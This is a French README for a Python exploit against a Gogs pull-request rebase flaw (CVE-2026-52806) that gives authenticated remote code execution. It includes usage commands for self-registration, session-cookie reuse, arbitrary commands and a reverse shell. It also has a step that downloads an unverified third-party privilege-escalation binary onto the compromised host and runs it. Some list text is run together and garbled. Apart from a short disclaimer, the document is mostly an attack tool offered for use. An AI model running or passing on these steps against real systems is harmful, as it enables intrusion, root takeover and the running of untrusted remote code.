
RCE Gogs via injection d'arguments dans git rebase (CWE-88) — PoC Python. CVE-2026-52806
git rebase (CWE-88)Exécution de code à distance authentifiée contre Gogs (<= 0.14.2 et 0.15.0+dev) via injection d'argument dans le flux de fusion de pull request.
CVE-2026-52806
La fonction Merge() dans internal/database/pull.go passe le nom de la branche de base de la PR à git rebase sans séparateur --. Une branche nommée --exec=<COMMANDE> est interprétée par Git comme le drapeau --exec plutôt qu'un argument positionnel, ce qui entraîne l'exécution de sh -c <COMMANDE> après chaque commit rejoué pendant le rebase.
?v= sur les assets statiques, et vérifie si l'inscription des utilisateurs est ouverte, protégée par captcha, ou désactivée.-u <nom_utilisateur> -pw <mot_de_passe>. Crée un jeton API via l'authentification Basic ou la page de paramètres web.master avec un READMEfeature-* avec un commit divergent--exec=sh${IFS}.payload contenant un script qui exécute la commande de l'attaquant en arrière-plan--exec=.merge_style=rebase_before_merging. Gogs exécute en interne git rebase --exec=sh${IFS}.payload, ce qui exécute la charge utile après chaque commit rejoué.requests (pip install requests)gitpython3 gogs.py <cible> [options]
python3 gogs.py http://cible:3000 --preflight-only
Rapporte :
Inscription : ACTIVÉE (pas de captcha) — peut s'enregistrer automatiquementInscription : ACTIVÉE (CAPTCHA DÉTECTÉ) — créez un compte manuellement sur la page d'inscription de la cible, puis fournissez les identifiants avec -u / -pwInscription : DÉSACTIVÉE — nécessite des identifiants existants d'un administrateur# Auto-enregistrement + exécuter une commande
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"
# Compte existant
python3 gogs.py 10.0.0.1:3000 -u attaquant -p Password123 --cmd "whoami"
# Shell inversé
python3 gogs.py 10.0.0.1:3000 -u attaquant -p Password123 --listener 10.0.0.2:4444
# Captcha activé : créez un compte sur la page d'inscription de la cible, puis utilisez les identifiants
python3 gogs.py 10.0.0.1:3000 -u monutilisateur -pw monmotdepasse --cmd "id"
# Si la connexion avec les identifiants échoue, passez le cookie de session directement
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"
Une fois que vous avez un shell sur la cible, le processus Gogs s'exécute généralement sous un utilisateur à faibles privilèges (par ex. git dans Docker). Pour tenter une escalade de privilèges vers root, téléchargez et exécutez le binaire lpe-toolkit depuis la page des releases du projet :
# Depuis votre session shell :
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64
Le toolkit énumère les exploits noyau, les mauvaises configurations et autres vecteurs d'escalade courants.
exploit/multi/http/gogs_rebase_rce de Rapid7 par Jonah Burgess (CryptoCat) (PR #21515)qf6p-p7ww-cwr9 (gogs/gogs)Ce PoC Python est inspiré du module Metasploit publié. La vulnérabilité a été découverte et divulguée de manière responsable par Jonah Burgess (CryptoCat) chez Rapid7.
Cet outil est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite est illégale. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel.
L'API de Gogs ne prend pas en charge la suppression de jetons. Par conséquent, tous les jetons d'accès API créés pendant l'exploitation persisteront et doivent être supprimés manuellement à l'adresse /user/settings/applications sur l'instance cible.
| Drapeau | Description |
|---|
target | Hôte[:port] (ex. 47.109.58.140:9000) |
-p, --port | Port HTTP (par défaut : 3000) |
-u, --username | Nom d'utilisateur Gogs |
-pw, --password | Mot de passe Gogs |
--cookie | Chaîne du cookie de session |
--cmd | Commande à exécuter sur la cible |
--listener | Shell inversé hôte:port |
--lhost / --lport | Hôte et port du shell inversé |
--ssl | Utiliser HTTPS |
--preflight-only | Exécuter uniquement les vérifications pré-vol |